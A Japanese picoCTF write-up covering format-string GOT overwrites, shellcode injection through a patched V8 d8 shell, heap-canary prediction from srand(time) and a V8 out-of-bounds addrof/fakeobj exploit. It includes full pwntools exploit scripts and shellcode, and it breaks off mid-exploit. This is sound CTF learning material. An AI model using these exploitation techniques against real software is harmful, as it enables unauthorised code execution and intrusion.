#include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #define FLAG_BUFFER 128 #define MAX_SYM_LEN 4 typedef struct Stonks { int shares; char symbol[MAX_SYM_LEN + 1]; struct Stonks *next; } Stonk; typedef struct Portfolios { int money; Stonk *head; } Portfolio; int view_portfolio(Portfolio *p) { if (!p) { return 1; } printf("\nPortfolio as of "); fflush(stdout); system("date"); // TODO: implement this in C fflush(stdout); printf("\n\n"); Stonk *head = p->head; if (!head) { printf("You don't own any stonks!\n"); } while (head) { printf("%d shares of %s\n", head->shares, head->symbol); head = head->next; } return 0; } Stonk *pick_symbol_with_AI(int shares) { if (shares < 1) { return NULL; } Stonk *stonk = malloc(sizeof(Stonk)); stonk->shares = shares; int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1; for (int i = 0; i <= MAX_SYM_LEN; i++) { if (i < AI_symbol_len) { stonk->symbol[i] = 'A' + (rand() % 26); } else { stonk->symbol[i] = '\0'; } } stonk->next = NULL; return stonk; } int buy_stonks(Portfolio *p) { if (!p) { return 1; } /* char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); if (!f) { printf("Flag file not found\n"); exit(1); } fgets(api_buf, FLAG_BUFFER, f); */ int money = p->money; int shares = 0; Stonk *temp = NULL; printf("Using patented AI algorithms to buy stonks\n"); while (money > 0) { shares = (rand() % money) + 1; temp = pick_symbol_with_AI(shares); temp->next = p->head; p->head = temp; money -= shares; } printf("Stonks chosen\n"); char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); // TODO: Actually use key to interact with API view_portfolio(p); return 0; } Portfolio *initialize_portfolio() { Portfolio *p = malloc(sizeof(Portfolio)); p->money = (rand() % 2018) + 1; p->head = NULL; return p; } void free_portfolio(Portfolio *p) { Stonk *current = p->head; Stonk *next = NULL; while (current) { next = current->next; free(current); current = next; } free(p); } int main(int argc, char *argv[]) { setbuf(stdout, NULL); srand(time(NULL)); Portfolio *p = initialize_portfolio(); if (!p) { printf("Memory failure\n"); exit(1); } int resp = 0; printf("Welcome back to the trading app!\n\n"); printf("What would you like to do?\n"); printf("1) Buy some stonks!\n"); printf("2) View my portfolio\n"); scanf("%d", &resp); if (resp == 1) { buy_stonks(p); } else if (resp == 2) { view_portfolio(p); } free_portfolio(p); printf("Goodbye!\n"); exit(0); }
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3fe000)
Stonk
の続きです。今度はAPIトークンがメモリ上に配置されなくなりました。
今回はフラグをリークする手段がないのでシェルを取る必要がありそうですね。だけどlibcは配布されてません(は?)
Partical RELROなのでFSBによるGOT Overwriteができそうです。
しかし通常のFSBとは異なり、バッファがヒープ上に取られています。これはスタック上に任意のアドレスを複数置いて%n
系で書き替えるテクニックが使えないことを意味します。
ではどうするかというと、このようなスタック上にあるスタックを指すポインタがあればよいです。
06:0030│ rbp 0x7ffd5d8700b0 —▸ 0x7ffd5d8700f0 —▸ 0x400ca0 (__libc_csu_init)
最初にそのポインタに対して%n
を実行してポインタが指すメモリ(ここでは0x400ca0)を好きなアドレスに書き替えて、更にポインタが指す先に対して%n
をすれば好きなアドレスを書き替えることができます。
これで任意のアドレスを何度も自由に書き替えることが可能になった、というわけではありません。
まず、書式指定子に$
を使うとFSBが実行される前に事前に該当メモリを読んでしまいます。これは、先ほど言ったポインタに%n
を使いその先にまた%n
を使うというテクニックが$
を使用すると使えなくなることを意味しています(これは私の理解がまだ曖昧です)
$
が使えないということなので、一つのポインタにつき一回しか%n
を使う機会がありません。8回くらいに分けて%hhn
をしたいところですが、今回スタック上を指すポインタは一つしか見つかりませんでした。(と開催中は思っていたんですが、今見たら二つあるように見えるのですが...?)
まとめると、FSBで一回AAWができるということです。さて、どうシェルを取りましょうか。
そのままではFSBが一回しかできず、libc leakもできずに終わってしまうので何度もFSBを起こせるようにします。(割と典型?)
今回はまだ解決されてないfflush
を利用します。FSB時点でfflush@got
は0x400746 (fflush@plt+6)
を指しているのですが、都合のいいことにプログラムのエントリポイントである_start
関数が0x400780
に配置されているのでfflush@got
の下位1byteを0x80
に書き替えてループさせます。
その次にprintf@got
を指すポインタを作って%s
をそこに使うことでprintf@got
をleakします。これを基にlibc databaseからlibcを引っ張っておきます。
libc leakもできたのでprintf
をsystem
に書き替えてsystem(user_buf)
でシェルを呼びたいですが、64bit ELFというのが問題です。
%n
は今まで出力したバイト数を書き込む書式指定子です。32bit ELFなら0xfffffff
を書き込むにしても最悪4GB(それでも大きすぎる)で済んでいたのですが例えばsystem
の値が0x7ffff7a31550
であったら約128TBを出力しなければなりません。流石に128TBの通信をするのはやめたいですね。
FSB一回で二か所書き込むことはできない(と思っていた)し、二回に分けて書き替えても途中でセグフォを起こすのでprintf
などループで使われている関数をlibcの関数に差し替えることは不可能です。
そのため、ループで使われていない関数をlibcの関数に書き替えなければなりません。そのような関数はexit, free, fflush
が該当します。(fflushはループ用に使っているので実質exit, free
のみ)
しかしprintf(user_buf)
のように都合よく入力をそのまま引数としてくれる関数は存在しません。
ではどうするかというと、one gadgetを使います。
0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
今回のone gadgetはこのような感じです。下二つは条件が割と緩いように見えますが、条件に合うexit, free
が呼ばれる場所が見つかりませんでした。
しかも、最初の条件もrsp & 0xf == 0
を満たせないのでシェルは取れません。
ではどうしたかというと、free@got => call exit => exit@got => one gadget
という構造を作り、call exit
でリターンアドレスをスタックに積ませることで条件を満たしました。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./vuln" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc.so.6" nc = "nc mercury.picoctf.net 58503" command = ''' set follow-fork-mode parent b *0x400ac9 c ''' chall = ELF(file) libc = ELF(libc) io = get_io() fsb_esp_offset = 6 written = 0 def next_byte(n, bits): global written written_masked = written & ((1 << bits) - 1) if written_masked < n: written += n - written_masked return n - written_masked else: written += ((1 << bits) - written_masked) + n return ((1 << bits) - written_masked) + n # fflush => _start payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['fflush'], 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte(0x80, 8)}c" payload += f"%hhn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 # libc leak payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['printf'], 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 1) payload += f"|%s" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("|") written = 0 leak = u64(io.recv(6).ljust(8, b"\x00")) log.info(f"leak: {leak:x}") libc.address = leak - libc.sym["printf"] log.info(f"libc: {libc.address:x}") # exit => one_gadget one_gadget = 0x4f3d5 + libc.address payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['exit'], 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte(one_gadget & 0xffff, 16)}c" payload += f"%hn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['exit']+2, 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte((one_gadget >> 16) & 0xffff, 16)}c" payload += f"%hn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['exit']+4, 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte(one_gadget >> 32, 16)}c" payload += f"%hn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 # free => call exit call_exit =0x00400c99 payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['free'], 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte(call_exit & 0xffff, 16)}c" payload += f"%hn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['free']+2, 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte((call_exit >> 16) & 0xffff, 16)}c" payload += f"%hn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['free']+4, 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte(call_exit >> 32, 16)}c" payload += f"%hn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 # fflushを元に戻す payload = "" payload += "%c" * (fsb_esp_offset+0x6-2) written += fsb_esp_offset+0x6-2 payload += f"%{next_byte(chall.got['fflush'], 32)}c" payload += f"%n" payload += "%c" * (0xe - 0x6 - 2) written += 0xe - 0x6 - 2 payload += f"%{next_byte(0x46, 8)}c" payload += f"%hhn" io.sendlineafter("2) View my portfolio\n", "1") io.sendlineafter("What is your API token?\n", payload) io.recvuntil("Portfolio") written = 0 io.interactive()
picoCTF{explo1t_m1t1gashuns_0056bab5}
Writeup書いてる途中に「なんでこんな面倒臭い解き方してるんですか?」となってつらい
Kit Engine [375 points]
JavascriptエンジンであるV8の開発者向け環境であるd8のバイナリと、それに当てたパッチのdiffが渡されます。
「V8 Exploitか~~~(絶望)」と最初は思っていましたが蓋を開けると割と簡単でした。
diff --git a/src/d8/d8.cc b/src/d8/d8.cc index e6fb20d152..35195b9261 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -979,6 +979,53 @@ struct ModuleResolutionData { } // namespace +uint64_t doubleToUint64_t(double d){ + union { + double d; + uint64_t u; + } conv = { .d = d }; + return conv.u; +} + +void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) { + __asm__("int3"); +} + +void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) { + Isolate* isolate = args.GetIsolate(); + if(args.Length() != 1) { + return; + } + + double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (func == (double *)-1) { + printf("Unable to allocate memory. Contact admin\n"); + return; + } + + if (args[0]->IsArray()) { + Local<Array> arr = args[0].As<Array>(); + + Local<Value> element; + for (uint32_t i = 0; i < arr->Length(); i++) { + if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) { + Local<Number> val = element.As<Number>(); + func[i] = val->Value(); + } + } + + printf("Memory Dump. Watch your endianness!!:\n"); + for (uint32_t i = 0; i < arr->Length(); i++) { + printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i])); + } + + printf("Starting your engine!!\n"); + void (*foo)() = (void(*)())func; + foo(); + } + printf("Done\n"); +} + void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { std::unique_ptr<ModuleResolutionData> module_resolution_data( @@ -2201,40 +2248,15 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) { Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); - global_template->Set(Symbol::GetToStringTag(isolate), - String::NewFromUtf8Literal(isolate, "global")); + // Add challenge builtin, and remove some unintented solutions + global_template->Set(isolate, "AssembleEngine", FunctionTemplate::New(isolate, AssembleEngine)); + global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint)); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version)); - global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print)); - global_template->Set(isolate, "printErr", - FunctionTemplate::New(isolate, PrintErr)); - global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write)); - global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read)); - global_template->Set(isolate, "readbuffer", - FunctionTemplate::New(isolate, ReadBuffer)); - global_template->Set(isolate, "readline", - FunctionTemplate::New(isolate, ReadLine)); - global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load)); - global_template->Set(isolate, "setTimeout", - FunctionTemplate::New(isolate, SetTimeout)); - // Some Emscripten-generated code tries to call 'quit', which in turn would - // call C's exit(). This would lead to memory leaks, because there is no way - // we can terminate cleanly then, so we need a way to hide 'quit'. if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } - global_template->Set(isolate, "testRunner", - Shell::CreateTestRunnerTemplate(isolate)); - global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate)); - global_template->Set(isolate, "performance", - Shell::CreatePerformanceTemplate(isolate)); - global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate)); - // Prevent fuzzers from creating side effects. - if (!i::FLAG_fuzzing) { - global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate)); - } - global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate)); #ifdef V8_FUZZILLI global_template->Set( @@ -2243,11 +2265,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum); #endif // V8_FUZZILLI - if (i::FLAG_expose_async_hooks) { - global_template->Set(isolate, "async_hooks", - Shell::CreateAsyncHookTemplate(isolate)); - } - return global_template; } @@ -2449,10 +2466,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console, v8::Isolate::kMessageLog); } - isolate->SetHostImportModuleDynamicallyCallback( + /*isolate->SetHostImportModuleDynamicallyCallback( Shell::HostImportModuleDynamically); isolate->SetHostInitializeImportMetaObjectCallback( - Shell::HostInitializeImportMetaObject); + Shell::HostInitializeImportMetaObject);*/ #ifdef V8_FUZZILLI // Let the parent process (Fuzzilli) know we are ready. diff --git a/src/d8/d8.h b/src/d8/d8.h index a6a1037cff..4591d27f65 100644 --- a/src/d8/d8.h +++ b/src/d8/d8.h @@ -413,6 +413,9 @@ class Shell : public i::AllStatic { kNoProcessMessageQueue = false }; + static void AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args); + static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args); + static bool ExecuteString(Isolate* isolate, Local<String> source, Local<Value> name, PrintResult print_result, ReportExceptions report_exceptions,
ごちゃごちゃしてますが、AssembleEngine
のvoid (*foo)() = (void(*)())func;
だけが重要です。
色々実験するとわかるのですが、AssembleEngine
関数はdoubleの配列を渡すとそれをmmapした領域に配置し、シェルコードとして実行してくれる関数です。
つまりシェルコードをdoubleに変換して流せば終わりです。
from pwn import * import sys import re import struct context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./server.py" nc = "nc mercury.picoctf.net 60514" shellcode = asm(""" lea rbx, [rip] mov rcx, 0x7478742e67616c66 mov QWORD PTR [rbx+0x100], rcx lea rdi, QWORD PTR [rbx+0x100] xor rsi, rsi xor rdx, rdx mov rax, 0x2 syscall mov rdi, rax lea rsi, QWORD PTR [rbx+0x200] mov rdx, 0x100 mov rax, 0x0 syscall mov rdi, 1 mov rax, 0x1 syscall """) print(shellcode, len(shellcode)) if len(shellcode) % 8 != 0: shellcode += asm("nop") * (8 - len(shellcode) % 8) print(shellcode, len(shellcode)) array = [] for i in range(len(shellcode)//8): print(shellcode[i*8:(i+1)*8]) array.append(str(struct.unpack("<d", shellcode[i*8:(i+1)*8])[0])) print(array) payload = f"AssembleEngine([{','.join(array)}])" io = get_io() io.sendlineafter("Provide size. Must be < 5k:", str(len(payload))) io.sendline(payload) io.shutdown("send") io.interactive()
execve("/bin/sh", NULL, NULL)
しても標準入力が与えられないのでシェルは取れません。execve("/bin/ls", NULL, NULL)
でflag.txt
を確認した後にflag.txt
をopen
&read
しました。
picoCTF{vr00m_vr00m_4168cbd2cfccd836}
The Office [400 points]
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
自作heap問。strippedバイナリなのでrevが面倒ですね。
0x0804981c
にある関数がheapが壊れていないかチェックしているのですが、これはプログラム中では常に第一引数を0にして呼び出されています。これを0以外に変えると、デバッグ用の出力がされるようになります。(親切で助かる)
chunkはこのような構造をしています。
---- 0x0 Canary ---- 0x4 Size (LSBがAllocatedのフラグ) ---- 0x8 Prev Size (LSBがPrev Allocatedのフラグ) ---- Buffer ...
ここでCanaryはheap領域を取る時に決定されて(0x08049240
の関数)、srand(time(NULL))
の値が入ります。
0) Exit 1) Add employee 2) Remove employee 3) List employees 4) Get access token 1 Name: AAAA Email (y/n)? y Email address: BBBB Salary: 1337 Phone #: CCCC Bldg (y/n)? y Bldg #: 334
プログラム自体はこのような感じ。heap上にemployeeの情報を追加/削除でき、それを観覧できます。
またadminという名前は付けられないようになっていて、4の選択肢で名前がadminであるemployeeを選択するとフラグが出力される仕組みです。
0) Exit 1) Add employee 2) Remove employee 3) List employees 4) Get access token 1 Name: admin Cannot be admin!
脆弱性はどこかというと、Phone #:
の部分のBOFです。BOFで下にあるemployeeの名前をadminに書き替えれば勝ちそうですが、CanaryがあるのでBOFは不可能です。
というのは嘘で、srand(time(NULL))
はシードが1秒単位でしか変化しないのでタイミング攻撃で乱数を容易に予測できます。
#include <stdio.h> #include <stdlib.h> #include <time.h> int main(int argc, char* argv[]) { srand(atoi(argv[1])); printf("%d\n", rand()); return 0; }
こういうプログラムを作っておいて、実行時に確認すればよいです。
from pwn import * from time import time import sys import re context.terminal = "wterminal" context.arch = "i386" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./the_office" nc = "nc mercury.picoctf.net 22999" command = ''' b main c ''' chall = ELF(file) io = get_io() io.sendlineafter("4) Get access token\n", "1") start_time = int(time()+1) canary = int(process(["./print_rand", str(start_time)]).recvline()) log.info(f"Canary: {canary:x} {canary}") io.sendlineafter("Name: ", "AAAA") io.sendlineafter("Email (y/n)? ", "n") io.sendlineafter("Salary: ", "0") io.sendlineafter("Phone #: ", "BBBB") io.sendlineafter("Bldg (y/n)? ", "n"); io.sendlineafter("4) Get access token\n", "1") io.sendlineafter("Name: ", "CCCC") io.sendlineafter("Email (y/n)? ", "n") io.sendlineafter("Salary: ", "0") io.sendlineafter("Phone #: ", "DDDD") io.sendlineafter("Bldg (y/n)? ", "n"); io.sendlineafter("4) Get access token\n", "2") io.sendlineafter("Employee #?\n", "0") payload = b"" payload += b"A" * (0xc + 0x4 + 0xc) payload += p32(canary) payload += p32(0x35) payload += p32(0x35) payload += b"admin\x00" io.sendlineafter("4) Get access token\n", "1") io.sendlineafter("Name: ", "AAAA") io.sendlineafter("Email (y/n)? ", "n") io.sendlineafter("Salary: ", "0") io.sendlineafter("Phone #: ", payload) io.sendlineafter("Bldg (y/n)? ", "n"); io.interactive()
picoCTF{32c1c08f624ce1fb76cfd2a61c09b665}
この次の問題よりSolve数が少ないの謎ですね。タイミング攻撃意外と知られていないんですかね...?
Download Horsepower [450 points]
Kit Engine
の続きで、今度こそV8 Exploit問です。(絶望)
正直、よくわかってません。情報をひたすら漁り、ひたすらデバッグで調整して通しました。
diff --git a/BUILD.gn b/BUILD.gn index 9482b977e3..6a3f1e2d0f 100644 --- a/BUILD.gn +++ b/BUILD.gn @@ -1175,6 +1175,7 @@ action("postmortem-metadata") { } torque_files = [ + "src/builtins/array-horsepower.tq", "src/builtins/aggregate-error.tq", "src/builtins/array-at.tq", "src/builtins/array-copywithin.tq", diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq new file mode 100644 index 0000000000..7ea53ca306 --- /dev/null +++ b/src/builtins/array-horsepower.tq @@ -0,0 +1,17 @@ +// Gotta go fast!! + +namespace array { + +transitioning javascript builtin +ArraySetHorsepower( + js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny { + try { + const h: Smi = Cast<Smi>(horsepower) otherwise End; + const a: JSArray = Cast<JSArray>(receiver) otherwise End; + a.SetLength(h); + } label End { + Print("Improper attempt to set horsepower"); + } + return receiver; +} +} \ No newline at end of file diff --git a/src/d8/d8.cc b/src/d8/d8.cc index e6fb20d152..abfb553864 100644 --- a/src/d8/d8.cc +++ b/src/d8/d8.cc @@ -999,6 +999,10 @@ void Shell::ModuleResolutionSuccessCallback( resolver->Resolve(realm, module_namespace).ToChecked(); } +void Shell::Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args) { + __asm__("int3"); +} + void Shell::ModuleResolutionFailureCallback( const FunctionCallbackInfo<Value>& info) { std::unique_ptr<ModuleResolutionData> module_resolution_data( @@ -2201,40 +2205,14 @@ Local<String> Shell::Stringify(Isolate* isolate, Local<Value> value) { Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate); - global_template->Set(Symbol::GetToStringTag(isolate), - String::NewFromUtf8Literal(isolate, "global")); + // Remove some unintented solutions + global_template->Set(isolate, "Breakpoint", FunctionTemplate::New(isolate, Breakpoint)); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version)); - global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print)); - global_template->Set(isolate, "printErr", - FunctionTemplate::New(isolate, PrintErr)); - global_template->Set(isolate, "write", FunctionTemplate::New(isolate, Write)); - global_template->Set(isolate, "read", FunctionTemplate::New(isolate, Read)); - global_template->Set(isolate, "readbuffer", - FunctionTemplate::New(isolate, ReadBuffer)); - global_template->Set(isolate, "readline", - FunctionTemplate::New(isolate, ReadLine)); - global_template->Set(isolate, "load", FunctionTemplate::New(isolate, Load)); - global_template->Set(isolate, "setTimeout", - FunctionTemplate::New(isolate, SetTimeout)); - // Some Emscripten-generated code tries to call 'quit', which in turn would - // call C's exit(). This would lead to memory leaks, because there is no way - // we can terminate cleanly then, so we need a way to hide 'quit'. if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } - global_template->Set(isolate, "testRunner", - Shell::CreateTestRunnerTemplate(isolate)); - global_template->Set(isolate, "Realm", Shell::CreateRealmTemplate(isolate)); - global_template->Set(isolate, "performance", - Shell::CreatePerformanceTemplate(isolate)); - global_template->Set(isolate, "Worker", Shell::CreateWorkerTemplate(isolate)); - // Prevent fuzzers from creating side effects. - if (!i::FLAG_fuzzing) { - global_template->Set(isolate, "os", Shell::CreateOSTemplate(isolate)); - } - global_template->Set(isolate, "d8", Shell::CreateD8Template(isolate)); #ifdef V8_FUZZILLI global_template->Set( @@ -2243,11 +2221,6 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { FunctionTemplate::New(isolate, Fuzzilli), PropertyAttribute::DontEnum); #endif // V8_FUZZILLI - if (i::FLAG_expose_async_hooks) { - global_template->Set(isolate, "async_hooks", - Shell::CreateAsyncHookTemplate(isolate)); - } - return global_template; } @@ -2449,10 +2422,10 @@ void Shell::Initialize(Isolate* isolate, D8Console* console, v8::Isolate::kMessageLog); } - isolate->SetHostImportModuleDynamicallyCallback( + /*isolate->SetHostImportModuleDynamicallyCallback( Shell::HostImportModuleDynamically); isolate->SetHostInitializeImportMetaObjectCallback( - Shell::HostInitializeImportMetaObject); + Shell::HostInitializeImportMetaObject);*/ #ifdef V8_FUZZILLI // Let the parent process (Fuzzilli) know we are ready. diff --git a/src/d8/d8.h b/src/d8/d8.h index a6a1037cff..7cf66d285a 100644 --- a/src/d8/d8.h +++ b/src/d8/d8.h @@ -413,6 +413,8 @@ class Shell : public i::AllStatic { kNoProcessMessageQueue = false }; + static void Breakpoint(const v8::FunctionCallbackInfo<v8::Value>& args); + static bool ExecuteString(Isolate* isolate, Local<String> source, Local<Value> name, PrintResult print_result, ReportExceptions report_exceptions, diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc index ce3886e87e..6621a79618 100644 --- a/src/init/bootstrapper.cc +++ b/src/init/bootstrapper.cc @@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, JSObject::AddProperty(isolate_, proto, factory->constructor_string(), array_function, DONT_ENUM); + SimpleInstallFunction(isolate_, proto, "setHorsepower", + Builtins::kArraySetHorsepower, 1, false); SimpleInstallFunction(isolate_, proto, "concat", Builtins::kArrayConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin", diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq index b18f5bafac..b466b330cd 100644 --- a/src/objects/js-array.tq +++ b/src/objects/js-array.tq @@ -28,6 +28,9 @@ extern class JSArray extends JSObject { macro IsEmpty(): bool { return this.length == 0; } + macro SetLength(l: Smi) { + this.length = l; + } length: Number; }
今回のパッチはこのようなもの。Javascriptの配列にsetHorsepower
というメゾッドが付きます。
これは配列のlength
をチェック無しに変更してしまう関数です。これを使えば実際の配列の長さよりも大きくlength
を設定できてしまうので、範囲外参照/書き込みの脆弱性があります。
まだ何も理解できていないので、変に解説するのは避けて理解できた部分と参考にした記事だけ載せておきます。(理解が間違っている可能性があります)
-
これを知らないと過去の記事も参考にならないしデバッグもままならない。
V8は64bitだが上位32bit分はmmapする時点で決まっていて、下位32bit分をheap領域として扱っている。
そのためメモリはDWORD単位で運用されている。
tel
は避けてx/wx
で見ると良い -
V8はDoubleとSMI(Small Integer)という型を使い分けていて、これはLSB(tag)が立っているとDouble、立っていなければSMIと表現される。
そのためデバッグする際はポインタから1を引かなければならない。
-
Exploitはよく理解できず参考にはならなかったが、
JSArray
の構造を理解するのに助かった。配列は
JSArray
というメタデータを持つ?構造体と、FixedArray
という実際の中身を持つ構造体に分けられている。JSArray.elements
がFixedArray
を指している。 V8 Exploitation : Star CTF 2019 OOB-v8
Exploitの参考にしたWriteup。ほぼ丸パクリ。
JSの配列に型があるというのもここで理解した。
JSArray.map
というのがそうで、例えばDoubleを格納する配列はPACKED_DOUBLE_ELEMENTS
というMapを指すようだ。この型情報を書き替えたりすることで範囲外参照したり、偽の配列を作ったりしてるらしい。
その他
v8::internal::(Obj)
でgdbで構造体の確認ができるが、参考にならないので./d8 --allow-natives-syntax
で起動して%DebugPrint()
で見た方が良い。対話モードと読み込んで実行する時とではヒープレイアウトが変わったりする?のでgdbでオフセットを都度確認すると良い。
WASMでシェルコードを流すときは
Kit Engine
で使ったものがそのまま再利用できる。
// 参考: https://medium.com/@priyanshukumarpu/v8-exploitation-star-ctf-2019-oob-v8-3c61457f116f var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u32_buf = new Uint32Array(buf); function ftoi2(val) { f64_buf[0] = val; return [u32_buf[0], u32_buf[1]]; } function i2tof(val1, val2) { u32_buf[0] = val1; u32_buf[1] = val2; return f64_buf[0]; } var float_arr = [1.1]; var obj = {"A": 1}; var obj_arr = [obj]; float_arr.setHorsepower(100+1); // obj_arr[0]にobjを読み込ませてfloat_arrの範囲外参照で読む function addrof(target_obj) { obj_arr[0] = target_obj; return ftoi2(float_arr[9])[1]; } // obj_arr[0]にアドレスを書き込んで任意のアドレスのオブジェクトを得られる function fakeobj(addr) { float_arr[9] = i2tof(ftoi2(float_arr[9])[0], addr); return obj_arr[0]; } // 確認 a = {"hoge": 1337} console.log(`[+] addrof(a): ${addrof(a).toString(16)}`); console.log(`[+] Check addrof and fakeobj: ${a["hoge"]} == ${fakeobj(addrof(a))["hoge"]}`); // float型配列のMap(型を表す値のようなもの?)を取得する var float_arr_map = ftoi2(float_arr[1])[0]; // Objectと誤認させる配列 var arb_rw_arr = [i2tof(float_arr_map, 0), i2tof(0, 0), i2tof(0xfffffff, 0)]; function arb_read(addr) { // kElementsOffsetにあたる場所をアドレスを書き替える(この時FixedArrayのヘッダの長さを引く) // kLengthOffsetを1にしておく(Smiに注意) arb_rw_arr[1] = i2tof(addr - 0x4 * 2, 1 << 1); // arb_rw_arrの後にあるFixedArrayをObjectとして参照する // 